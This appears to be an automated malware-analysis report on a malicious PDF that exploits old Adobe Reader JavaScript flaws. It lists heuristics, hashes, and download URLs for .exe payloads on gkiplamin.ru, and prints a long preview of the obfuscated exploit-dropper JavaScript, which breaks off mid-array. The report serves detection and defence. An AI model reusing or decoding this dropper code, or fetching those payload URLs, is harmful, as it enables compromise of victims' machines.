PDF malware analysis — malicious · 6ef8279ed5574af2

MALICIOUS

PDF

75.0 KB Created: 2009-11-30 19:41:31 Authoring application: PDF Library 2.8.8 (via PDF Library 9.8.7) First seen: 2012-07-12

MD5: a04f4eb3d4551876e179d02fb5cc2f8a SHA-1: 8d9c3f39eb60b03984c0a68e1c638ca8a55aad53 SHA-256: 6ef8279ed5574af2ca40423b09744871d09f1041332121515c86dcf00f4eceb3

592 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains obfuscated JavaScript that leverages multiple CVEs (CVE-2007-5659, CVE-2008-2992, CVE-2009-0927) to execute code. The script contains embedded URLs pointing to executable files, indicating its purpose is to download and run a second-stage payload. The ML classifier and ClamAV detection further support the malicious nature of this file.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://gkiplamin.ru/gla/chuw2.exe Referenced by PDF JavaScript
- http://gkiplamin.ru/gla/click.php?r=Referenced by PDF JavaScript
- http://gkiplamin.ru/gla/bhjoyz2.exeReferenced by PDF JavaScript
- http://gkiplamin.ru/gla/evwz2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	37904 bytes
SHA-256: `3ff380245fed860a6d6c087699c23be0aa494ddff3fed8e1a0716fe1094967a1`
Preview script First 1,000 lines of the extracted script var cdgpv="cdgpv";inopwx="";deglpw=false;var hkov="hkov",fmnq=false,dhlpz="",dimtxy=0,bdfkmq=String,rtvxy=bdfkmq['fKrioSm9C9hKaKrSCiopdKeS'.replace(/[SpKi9]/g,'')],glmnux=String,flpvw=glmnux['eovmaml3'.replace(/[3Dokm]/g,'')],ipqrw="28",jprtvy="",ghmorx=[63,66,59,158,167,166,149,172,155,167,160,88,152,161,170,151,155,172,90,177,147,170,165,168,94,88,158,157,160,97,173,69,60,65,59,175,154,161,158,157,82,96,171,153,164,171,162,102,158,157,160,159,166,160,82,98,82,106,82,116,82,164,151,166,91,179,63,66,59,65,59,177,147,170,165,168,82,99,111,88,171,153,164,171,162,115,63,66,59,65,175,69,60,65,59,177,147,170,165,168,82,117,82,177,147,170,165,168,96,171,167,154,165,172,164,161,160,159,90,104,94,88,158,157,160,103,100,97,109,69,60,65,59,170,151,172,167,170,160,88,171,153,164,171,162,115,63,66,59,181,63,66,63,66,59,158,167,166,149,172,155,167,160,88,167,172,155,164,145,168,164,161,160,172,152,96,91,179,63,66,59,65,168,153,164,88,162,153,171,164,161,153,150,88,111,88,167,166,151,171,149,153,162,157,90,90,87,173,119,122,119,113,87,173,98,104,98,105,87,173,103,110,98,104,87,173,115,105,104,108,87,173,98,104,101,104,87,173,98,104,98,104,87,173,102,104,106,122,87,173,106,122,98,123,87,173,99,123,105,104,87,173,106,122,115,124,87,173,98,112,102,104,87,173,117,107,103,125,87,173,106,122,103,109,87,173,106,122,119,123,87,173,98,112,102,109,87,173,101,107,103,106,87,173,117,105,118,106,87,173,98,107,117,106,87,173,99,104,101,106,87,173,106,104,102,104,87,173,98,104,101,112,87,173,120,109,105,109,87,173,117,106,106,122,87,173,103,124,103,121,87,173,98,108,117,106,87,173,103,109,98,104,87,173,119,123,106,122,87,173,103,105,103,105,87,173,103,110,103,107,87,173,104,104,103,111,87,173,103,124,106,122,87,173,101,107,98,112,87,173,106,122,117,104,87,173,98,123,105,109,87,173,120,125,106,122,87,173,105,110,98,107,87,173,106,122,101,123,87,173,105,112,102,125,87,173,117,126,98,107,87,173,103,105,106,122,87,173,103,106,99,123,87,173,103,105,106,122,87,173,103,106,100,108,87,173,105,105,106,122,87,173,102,125,99,108,87,173,105,109,106,113,87,173,106,122,120,123,87,173,100,104,105,105,87,173,120,111,98,107,87,173,102,121,107,113,87,173,102,106,115,124,87,173,101,122,104,104,87,173,120,123,103,109,87,173,98,108,105,109,87,173,117,104,101,107,87,173,101,111,119,122,87,173,120,126,101,107,87,173,102,109,98,107,87,173,107,111,98,123,87,173,117,126,106,122,87,173,105,109,115,125,87,173,100,122,120,124,87,173,102,126,120,113,87,173,119,112,103,105,87,173,120,126,107,108,87,173,120,126,120,126,87,173,117,107,101,122,87,173,105,108,104,105,87,173,119,122,98,106,87,173,106,122,118,113,87,173,98,123,102,109,87,173,103,125,107,106,87,173,120,106,98,107,87,173,119,104,118,105,87,173,117,110,98,107,87,173,117,113,101,107,87,173,116,111,98,126,87,173,103,126,98,112,87,173,119,105,117,105,87,173,98,107,98,106,87,173,98,107,117,121,87,173,106,122,117,126,87,173,98,107,98,105,87,173,106,113,117,106,87,173,120,112,102,109,87,173,106,122,104,105,87,173,120,112,102,109,87,173,103,125,103,126,87,173,117,113,103,122,87,173,103,109,117,107,87,173,119,123,106,122,87,173,119,112,103,105,87,173,120,126,102,113,87,173,120,126,120,126,87,173,104,112,103,104,87,173,104,104,119,112,87,173,98,108,116,126,87,173,104,123,119,112,87,173,120,126,120,126,87,173,101,107,120,126,87,173,103,106,118,106,87,173,120,126,103,106,87,173,98,112,105,109,87,173,118,104,120,126,87,173,102,109,106,113,87,173,106,122,120,123,87,173,120,123,102,109,87,173,117,107,117,113,87,173,106,122,103,109,87,173,106,107,119,123,87,173,98,123,119,123,87,173,102,109,106,124,87,173,103,104,120,108,87,173,102,109,117,110,87,173,105,109,120,108,87,173,102,109,117,110,87,173,105,106,120,109,87,173,102,109,117,110,87,173,104,123,120,110,87,173,102,109,117,110,87,173,104,124,120,111,87,173,102,109,117,110,87,173,104,126,120,112,87,173,102,109,117,110,87,173,104,125,120,113,87,173,102,109,117,110,87,173,100,125,120,121,87,173,102,109,117,110,87,173,104,108,120,122,87,173,102,109,117,110,87,173,104,123,120,123,87,173,102,109,117,110,87,173,104,123,120,124,87,173,102,109,117,110,87,173,98,104,120,125,87,173,115,104,119,112,87,173,120,126,120,126,87,173,103,104,120,126,87,173,103,124,104,112,87,173,99,105,106,121,87,173,119,112,99,110,87,173,120,126,99,109,87,173,120,126,120,126,87,173,117,108,106,107,87,173,106,109,98,123,87,173,105,108,117,104,87,173,104,121,99,109,87,173,104,121,98,104,87,173,120,126,98,104,87,173,98,123,105,109,87,173,105,109,120,126,87,173,104,121,98,112,87,173,120,126,98,104,87,173,106,109,118,104,87,173,105,109,117,104,87,173,102,104,98,107,87,173,117,107,117,113,87,173,117,104,101,107,87,173,117,107,117,113,87,173,101,107,103,111,87,173,106,122,117,104,87,173,100,108,102,123,87,173,106,122,98,123,87,173,100,108,105,123,87,173,120,123,98,112,87,173,115,121,120,107,87,173,117,107,103,126,87,173,102,123,106,122,87,173,98,108,100,108,87,173,101,113,106,104,87,173,106,122,98,104,87,173,105,108,117,105,87,173,102,104,98,110,87,173,101,112,106,104,87,173,105,109,98,104,87,173,100,122,120,121,87,173,117,107,117,105,87,173,106,122,103,109,87,173,106,107,119,123,87,173,104,108,119,123,87,173,106,124,103,107,87,173,120,104,102,109,87,173,101,107,103,111,87,173,103,104,118,122,87,173,102,109,117,110,87,173,104,122,120,104,87,173,102,109,117,110,87,173,104,109,120,105,87,173,102,109,117,110,87,173,105,106,120,106,87,173,102,109,117,110,87,173,104,125,120,107,87,173,102,109,117,110,87,173,104,109,120,108,87,173,102,109,117,110,87,173,104,123,120,109,87,173,102,109,117,110,87,173,101,107,120,110,87,173,102,109,117,110,87,173,101,106,120,111,87,173,102,109,117,110,87,173,100,125,120,112,87,173,102,109,117,110,87,173,104,108,120,113,87,173,102,109,117,110,87,173,104,123,120,121,87,173,102,109,117,110,87,173,104,123,120,122,87,173,103,124,106,112,87,173,119,112,120,123,87,173,120,126,98,122,87,173,120,126,120,126,87,173,104,112,103,104,87,173,102,107,104,112,87,173,106,125,120,113,87,173,106,104,119,112,87,173,120,126,120,125,87,173,106,122,120,126,87,173,106,124,120,112,87,173,107,123,102,109,87,173,102,108,104,121,87,173,119,112,103,104,87,173,120,126,105,125,87,173,120,126,120,126,87,173,102,109,106,124,87,173,104,121,119,104,87,173,103,104,99,104,87,173,105,107,119,112,87,173,120,126,120,126,87,173,106,107,120,126,87,173,99,123,117,108,87,173,102,109,106,124,87,173,103,104,119,104,87,173,102,109,106,124,87,173,103,104,107,123,87,173,103,107,103,107,87,173,103,107,103,107,87,173,103,107,103,107,87,173,105,109,120,126,87,173,117,111,98,112,87,173,107,123,102,109,87,173,98,104,102,108,87,173,98,104,98,104,87,173,120,126,103,107,87,173,103,126,118,111,87,173,116,110,98,126,87,173,103,122,117,104,87,173,117,107,117,113,87,173,106,122,103,109,87,173,103,105,119,123,87,173,103,107,103,105,87,173,103,111,103,110,87,173,102,106,104,121,87,173,105,106,119,112,87,173,98,104,98,104,87,173,106,122,98,104,87,173,101,107,118,112,87,173,106,109,120,110,87,173,103,113,118,122,87,173,102,109,117,111,87,173,104,105,120,112,87,173,104,109,100,125,87,173,117,111,105,112,87,173,120,123,102,109,87,173,98,104,104,109,87,173,98,104,98,104,87,173,103,110,105,125,87,173,102,109,106,124,87,173,103,104,120,112,87,173,119,112,103,110,87,173,98,104,103,105,87,173,98,104,98,104,87,173,103,104,103,113,87,173,116,105,119,112,87,173,120,126,120,125,87,173,106,109,120,126,87,173,103,113,117,104,87,173,105,108,103,113,87,173,106,124,101,113,87,173,98,105,102,110,87,173,119,112,103,104,87,173,98,104,101,122,87,173,98,104,98,104,87,173,120,112,106,122,87,173,102,109,106,124,87,173,103,104,120,112,87,173,100,105,119,112,87,173,120,126,120,126,87,173,106,109,120,126,87,173,103,113,117,104,87,173,105,108,103,113,87,173,103,111,98,123,87,173,98,105,119,112,87,173,120,126,120,126,87,173,103,113,120,126,87,173,102,108,117,110,87,173,120,126,101,112,87,173,103,104,105,107,87,173,102,109,106,124,87,173,120,125,120,112,87,173,103,112,98,104,87,173,102,109,106,124,87,173,103,104,120,112,87,173,119,112,103,111,87,173,120,125,105,108,87,173,120,126,120,126,87,173,103,113,103,113,87,173,102,110,102,110,87,173,120,107,101,122,87,173,115,121,105,123,87,173,103,125,103,126,87,173,117,113,103,122,87,173,103,109,117,107,87,173,119,123,106,122,87,173,103,107,103,105,87,173,104,104,104,110,87,173,101,106,116,105,87,173,98,104,119,112,87,173,98,104,98,104,87,173,103,112,98,104,87,173,98,112,101,112,87,173,98,107,105,108,87,173,119,122,102,104,87,173,102,104,120,113,87,173,103,124,106,122,87,173,106,104,98,112,87,173,102,106,120,122,87,173,98,112,105,109,87,173,118,122,101,107,87,173,99,112,106,121,87,173,117,107,106,122,87,173,99,111,119,122,87,173,99,112,101,112,87,173,99,105,105,110,87,173,101,107,102,104,87,173,106,108,117,113,87,173,105,108,118,122,87,173,102,104,98,123,87,173,98,112,101,112,87,173,120,122,105,109,87,173,120,125,102,104,87,173,119,122,117,122,87,173,101,107,120,106,87,173,106,113,117,104,87,173,120,123,102,109,87,173,102,109,106,122,87,173,103,122,120,123,87,173,117,107,117,113,87,173,98,106,101,106,87,173,105,108,104,112,87,173,105,104,105,108,87,173,100,126,101,121,87,173,104,111,100,126,87,173,104,113,104,122,87,173,104,123,105,104,87,173,104,124,104,105,87,173,104,125,104,113,87,173,105,106,100,125,87,173,100,126,105,109,87,173,104,123,104,111,87,173,100,126,104,105,87,173,104,112,104,107,87,173,105,111,105,109,87,173,100,125,101,106,87,173,105,112,104,109,87,173,98,104,104,109,87,173,105,108,104,112,87,173,105,104,105,108,87,173,100,126,101,121,87,173,104,111,100,126,87,173,104,113,104,122,87,173,104,123,105,104,87,173,104,124,104,105,87,173,104,125,104,113,87,173,105,106,100,125,87,173,100,126,105,109,87,173,104,123,104,111,87,173,100,126,104,105,87,173,104,123,104,107,87,173,104,107,104,113,87,173,100,125,104,122,87,173,104,112,105,104,87,173,101,126,105,104,87,173,101,124,105,106,87,173,98,104,98,104,84,97,109,69,60,65,59,174,147,170,82,166,161,168,82,117,82,173,160,157,165,155,147,168,151,96,84,93,167,104,115,104,115,93,167,104,115,104,115,93,167,104,115,104,115,93,167,104,115,104,115,90,91,69,60,65,59,174,147,170,82,160,151,153,162,154,158,167,149,163,82,117,82,166,161,168,82,99,82,168,147,177,158,167,147,156,109,69,60,65,59,174,147,170,82,154,155,159,148,164,161,155,157,88,111,88,167,166,151,171,149,153,162,157,90,90,87,173,98,121,98,121,87,173,98,121,98,121,84,97,109,69,60,65,59,174,147,170,82,160,151,153,150,157,164,171,155,178,151,88,111,88,100,104,109,69,60,65,59,174,147,170,82,171,162,170,147,177,82,117,82,160,151,153,150,157,164,171,155,178,151,88,93,88,154,157,147,168,148,164,161,155,157,102,158,157,160,159,166,160,109,69,60,65,59,175,154,161,158,157,82,96,148,161,153,154,158,167,149,163,96,164,151,166,153,172,154,88,110,88,165,168,164,153,171,97,173,69,60,65,59,65,148,161,153,154,158,167,149,163,82,99,111,88,148,161,153,154,158,167,149,163,109,69,60,65,59,181,63,66,59,65,168,153,164,88,152,161,158,164,148,164,161,155,157,88,111,88,148,161,153,154,158,167,149,163,96,171,167,154,165,172,164,161,160,159,90,104,94,88,165,168,164,153,171,97,109,69,60,65,59,174,147,170,82,154,158,167,149,163,82,117,82,154,155,159,148,164,161,155,157,102,165,173,148,171,166,170,155,166,153,96,98,100,82,154,155,159,148,164,161,155,157,102,158,157,160,159,166,160,95,171,162,170,147,177,91,115,63,66,59,65,169,160,155,164,151,88,90,154,158,167,149,163,96,164,151,166,153,172,154,99,165,168,164,153,171,88,110,88,98,176,102,104,98,104,98,97,173,69,60,65,59,65,148,164,161,155,157,88,111,88,148,164,161,155,157,88,93,88,148,164,161,155,157,88,93,88,152,161,158,164,148,164,161,155,157,115,63,66,59,65,175,69,60,65,59,174,147,170,82,165,151,165,145,153,164,170,147,177,82,117,82,166,151,175,82,121,164,170,147,177,90,97,109,69,60,65,59,158,161,170,82,96,168,153,164,88,155,88,111,88,98,115,82,161,82,116,82,105,102,104,98,115,82,161,93,99,91,179,63,66,59,65,59,165,151,165,145,153,164,170,147,177,141,161,143,88,111,88,148,164,161,155,157,88,93,88,154,157,147,168,148,164,161,155,157,115,63,66,59,65,175,69,60,65,59,174,147,170,82,166,167,165,82,117,82,105,100,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,112,106,115,63,66,59,65,167,172,155,164,96,168,164,161,160,172,152,96,84,93,102,109,98,104,98,158,84,100,82,166,167,165,91,115,63,66,59,181,63,66,63,66,59,158,167,166,149,172,155,167,160,88,149,167,158,164,147,154,145,157,159,153,155,164,90,97,173,69,60,65,59,174,147,170,82,171,154,157,158,164,149,167,150,157,82,117,82,173,160,157,165,155,147,168,151,96,84,93,167,125,116,125,107,93,167,104,98,104,99,93,167,109,104,104,98,93,167,121,99,110,102,93,167,104,98,107,98,93,167,104,98,104,98,93,167,108,98,112,116,93,167,112,116,104,117,93,167,105,117,111,98,93,167,112,116,121,118,93,167,104,106,108,98,93,167,123,101,109,119,93,167,112,116,109,103,93,167,112,116,125,117,93,167,104,106,108,103,93,167,107,101,109,100,93,167,123,99,124,100,93,167,104,101,123,100,93,167,105,98,107,100,93,167,112,98,108,98,93,167,104,98,107,106,93,167,126,103,111,103,93,167,123,100,112,116,93,167,109,118,109,115,93,167,104,102,123,100,93,167,109,103,104,98,93,167,125,117,112,116,93,167,109,99,109,99,93,167,109,104,109,101,93,167,110,98,109,105,93,167,109,118,112,116,93,167,107,101,104,106,93,167,112,116,123,98,93,167,104,117,111,103,93,167,126,119,112,116,93,167,111,104,104,101,93,167,112,116,107,117,93,167,111,106,108,119,93,167,123,120,104,101,93,167,109,99,112,116,93,167,109,100,105,117,93,167,109,99,112,116,93,167,109,100,106,102,93,167,111,99,112,116,93,167,108,119,105,102,93,167,111,103,112,107,93,167,112,116,126,117,93,167,106,98,111,99,93,167,126,105,104,101,93,167,108,115,113,107,93,167,108,100,121,118,93,167,107,116,110,98,93,167,126,117,109,103,93,167,104,102,111,103,93,167,123,98,107,101,93,167,107,105,125,116,93,167,126,120,107,101,93,167,108,103,104,101,93,167,113,105,104,117,93,167,123,120,112,116,93,167,111,103,121,119,93,167,106,116,126,118,93,167,108,120,126,107,93,167,125,106,109,99,93,167,126,120,113,102,93,167,126,120,126,120,93,167,123,101,107,116,93,167,111,102,110,99,93,167,125,116,104,100,93,167,112,116,124,107,93,167,104,117,108,103,93,167,109,119,113,100,93,167,126,100,104,101,93,167,125,98,124,99,93,167,123,104,104,101,93,167,123,107,107,101,93,167,122,105,104,120,93,167,109,120,104,106,93,167,125,99,123,99,93,167,104,101,104,100,93,167,104,101,123,115,93,167,112,116,123,120,93,167,104,101,104,99,93,167,112,107,123,100,93,167,126,106,108,103,93,167,112,116,110,99,93,167,126,106,108,103,93,167,109,119,109,120,93,167,123,107,109,116,93,167,109,103,123,101,93,167,125,117,112,116,93,167,125,106,109,99,93,167,126,120,108,107,93,167,126,120,126,120,93,167,110,106,109,98,93,167,110,98,125,106,93,167,104,102,122,120,93,167,110,117,125,106,93,167,126,120,126,120,93,167,107,101,126,120,93,167,109,100,124,100,93,167,126,120,109,100,93,167,104,106,111,103,93,167,124,98,126,120,93,167,108,103,112,107,93,167,112,116,126,117,93,167,126,117,108,103,93,167,123,101,123,107,93,167,112,116,109,103,93,167,112,101,125,117,93,167,104,117,125,117,93,167,108,103,112,118,93,167,109,98,126,102,93,167,108,103,123,104,93,167,111,103,126,102,93,167,108,103,123,104,93,167,111,100,126,103,93,167,108,103,123,104,93,167,110,117,126,104,93,167,108,103,123,104,93,167,110,118,126,105,93,167,108,103,123,104,93,167,110,120,126,106,93,167,108,103,123,104,93,167,110,119,126,107,93,167,108,103,123,104,93,167,106,119,126,115,93,167,108,103,123,104,93,167,110,102,126,116,93,167,108,103,123,104,93,167,110,117,126,117,93,167,108,103,123,104,93,167,110,117,126,118,93,167,108,103,123,104,93,167,104,98,126,119,93,167,121,98,125,106,93,167,126,120,126,120,93,167,109,98,126,120,93,167,109,118,110,106,93,167,105,99,112,115,93,167,125,106,105,104,93,167,126,120,105,103,93,167,126,120,126,120,93,167,123,102,112,101,93,167,112,103,104,117,93,167,111,102,123,98,93,167,110,115,105,103,93,167,110,115,104,98,93,167,126,120,104,98,93,167,104,117,111,103,93,167,111,103,126,120,93,167,110,115,104,106,93,167,126,120,104,98,93,167,112,103,124,98,93,167,111,103,123,98,93,167,108,98,104,101,93,167,123,101,123,107,93,167,123,98,107,101,93,167,123,101,123,107,93,167,107,101,109,105,93,167,112,116,123,98,93,167,106,102,108,117,93,167,112,116,104,117,93,167,106,102,111,117,93,167,126,117,104,106,93,167,121,115,126,101,93,167,123,101,109,120,93,167,108,117,112,116,93,167,104,102,106,102,93,167,107,107,112,98,93,167,112,116,104,98,93,167,111,102,123,99,93,167,108,98,104,104,93,167,107,106,112,98,93,167,111,103,104,98,93,167,106,116,126,115,93,167,123,101,123,99,93,167,112,116,109,103,93,167,112,101,125,117,93,167,110,102,125,117,93,167,112,118,109,101,93,167,126,98,108,103,93,167,107,101,109,105,93,167,109,98,124,116,93,167,108,103,123,104,93,167,110,116,126,98,93,167,108,103,123,104,93,167,110,103,126,99,93,167,108,103,123,104,93,167,111,100,126,100,93,167,108,103,123,104,93,167,110,119,126,101,93,167,108,103,123,104,93,167,110,103,126,102,93,167,108,103,123,104,93,167,110,117,126,103,93,167,108,103,123,104,93,167,107,101,126,104,93,167,108,103,123,104,93,167,107,100,126,105,93,167,108,103,123,104,93,167,106,119,126,106,93,167,108,103,123,104,93,167,110,102,126,107,93,167,108,103,123,104,93,167,110,117,126,115,93,167,108,103,123,104,93,167,110,117,126,116,93,167,109,118,112,106,93,167,125,106,126,117,93,167,126,120,104,116,93,167,126,120,126,120,93,167,110,106,109,98,93,167,108,101,110,106,93,167,112,119,126,107,93,167,112,98,125,106,93,167,126,120,126,119,93,167,112,116,126,120,93,167,112,118,126,106,93,167,113,117,108,103,93,167,108,102,110,115,93,167,125,106,109,98,93,167,126,120,111,119,93,167,126,120,126,120,93,167,108,103,112,118,93,167,110,115,125,98,93,167,109,98,105,98,93,167,111,101,125,106,93,167,126,120,126,120,93,167,112,101,126,120,93,167,105,117,123,102,93,167,108,103,112,118,93,167,109,98,125,98,93,167,108,103,112,118,93,167,109,98,113,117,93,167,109,101,109,101,93,167,109,101,109,101,93,167,109,101,109,101,93,167,111,103,126,120,93,167,123,105,104,106,93,167,113,117,108,103,93,167,104,98,108,102,93,167,104,98,104,98,93,167,126,120,109,101,93,167,109,120,124,105,93,167,122,104,104,120,93,167,109,116,123,98,93,167,123,101,123,107,93,167,112,116,109,103,93,167,109,99,125,117,93,167,109,101,109,99,93,167,109,105,109,104,93,167,108,100,110,115,93,167,111,100,125,106,93,167,104,98,104,98,93,167,112,116,104,98,93,167,107,101,124,106,93,167,112,103,126,104,93,167,109,107,124,116,93,167,108,103,123,105,93,167,110,99,126,106,93,167,110,103,106,119,93,167,123,105,111,106,93,167,126,117,108,103,93,167,104,98,110,103,93,167,104,98,104,98,93,167,109,104,111,119,93,167,108,103,112,118,93,167,109,98,126,106,93,167,125,106,109,104,93,167,104,98,109,99,93,167,104,98,104,98,93,167,109,98,109,107,93,167,122,99,125,106,93,167,126,120,126,119,93,167,112,103,126,120,93,167,109,107,123,98,93,167,111,102,109,107,93,167,112,118,107,107,93,167,104,99,108,104,93,167,125,106,109,98,93,167,104,98,107,116,93,167,104,98,104,98,93,167,126,106,112,116,93,167,108,103,112,118,93,167,109,98,126,106,93,167,106,99,125,106,93,167,126,120,126,120,93,167,112,103,126,120,93,167,109,107,123,98,93,167,111,102,109,107,93,167,109,105,104,117,93,167,104,99,125,106,93,167,126,120,126,120,93,167,109,107,126,120,93,167,108,102,123,104,93,167,126,120,107,106,93,167,109,98,111,101,93,167,108,103,112,118,93,167,126,119,126,106,93,167,109,106,104,98,93,167,108,103,112,118,93,167,109,98,126,106,93,167,125,106,109,105,93,167,126,119,111,102,93,167,126,120,126,120,93,167,109,107,109,107,93,167,108,104,108,104,93,167,126,101,107,116,93,167,121,115,111,117,93,167,109,119,109,120,93,167,123,107,109,116,93,167,109,103,123,101,93,167,125,117,112,116,93,167,109,101,109,99,93,167,110,98,110,104,93,167,107,100,122,99,93,167,104,98,125,106,93,167,104,98,104,98,93,167,109,106,104,98,93,167,104,106,107,106,93,167,104,101,111,102,93,167,125,116,108,98,93,167,108,98,126,107,93,167,109,118,112,116,93,167,112,98,104,106,93,167,108,100,126,116,93,167,104,106,111,103,93,167,124,116,107,101,93,167,105,106,112,115,93,167,123,101,112,116,93,167,105,105,125,116,93,167,105,106,107,106,93,167,105,99,111,104,93,167,107,101,108,98,93,167,112,102,123,107,93,167,111,102,124,116,93,167,108,98,104,117,93,167,104,106,107,106,93,167,126,116,111,103,93,167,126,119,108,98,93,167,125,116,123,116,93,167,107,101,126,100,93,167,112,107,123,98,93,167,126,117,108,103,93,167,108,103,112,116,93,167,109,116,126,117,93,167,123,101,123,107,93,167,104,100,107,100,93,167,111,102,110,106,93,167,111,98,111,102,93,167,106,120,107,115,93,167,110,105,106,120,93,167,110,107,110,116,93,167,110,117,111,98,93,167,110,118,110,99,93,167,110,119,110,107,93,167,111,100,106,119,93,167,106,120,111,103,93,167,110,117,110,105,93,167,106,120,110,99,93,167,110,106,110,100,93,167,110,120,110,115,93,167,111,115,111,107,93,167,106,119,107,100,93,167,111,106,110,103,93,167,104,98,110,103,93,167,111,102,110,106,93,167,111,98,111,102,93,167,106,120,107,115,93,167,110,105,106,120,93,167,110,107,110,116,93,167,110,117,111,98,93,167,110,118,110,99,93,167,110,119,110,107,93,167,111,100,106,119,93,167,106,120,111,103,93,167,110,117,110,105,93,167,106,120,110,99,93,167,110,117,110,101,93,167,110,101,110,107,93,167,106,119,110,116,93,167,110,106,111,98,93,167,107,120,111,98,93,167,107,118,111,100,93,167,104,98,104,98,90,91,115,63,66,59,65,168,153,164,88,159,157,159,151,147,170,164,153,171,88,111,88,160,157,169,88,115,170,164,153,171,96,91,115,63,66,59,65,168,153,164,88,149,155,82,117,82,104,170,104,149,104,149,104,149,104,149,115,63,66,59,65,168,153,164,88,147,156,150,170,82,117,82,104,170,108,98,104,98,104,98,115,63,66,59,65,168,153,164,88,165,155,145,164,151,166,82,117,82,171,154,157,158,164,149,167,150,157,96,164,151,166,153,172,154,88,92,88,100,115,63,66,59,65,168,153,164,88,158,157,160,88,111,88,147,156,150,170,82,101,82,96,165,155,145,164,151,166,93,104,170,107,106,97,109,69,60,65,59,174,147,170,82,177,147,170,165,168,82,117,82,173,160,157,165,155,147,168,151,96,84,93,167,113,98,113,98,93,167,113,98,113,98,90,91,115,63,66,59,65,171,153,164,171,162,88,111,88,152,161,170,151,155,172,90,177,147,170,165,168,94,88,158,157,160,97,109,69,60,65,59,174,147,170,82,155,161,173,160,172,100,88,111,88,90,155,149,88,95,88,98,176,102,104,98,104,98,104,91,103,147,156,150,170,109,69,60,65,59,158,161,170,82,96,168,153,164,88,149,167,167,166,166,88,111,88,98,115,82,155,161,173,160,172,82,116,82,155,161,173,160,172,100,115,82,155,161,173,160,172,93,99,91,179,63,66,59,65,59,165,151,165,145,153,164,170,147,177,141,155,161,173,160,172,143,88,111,88,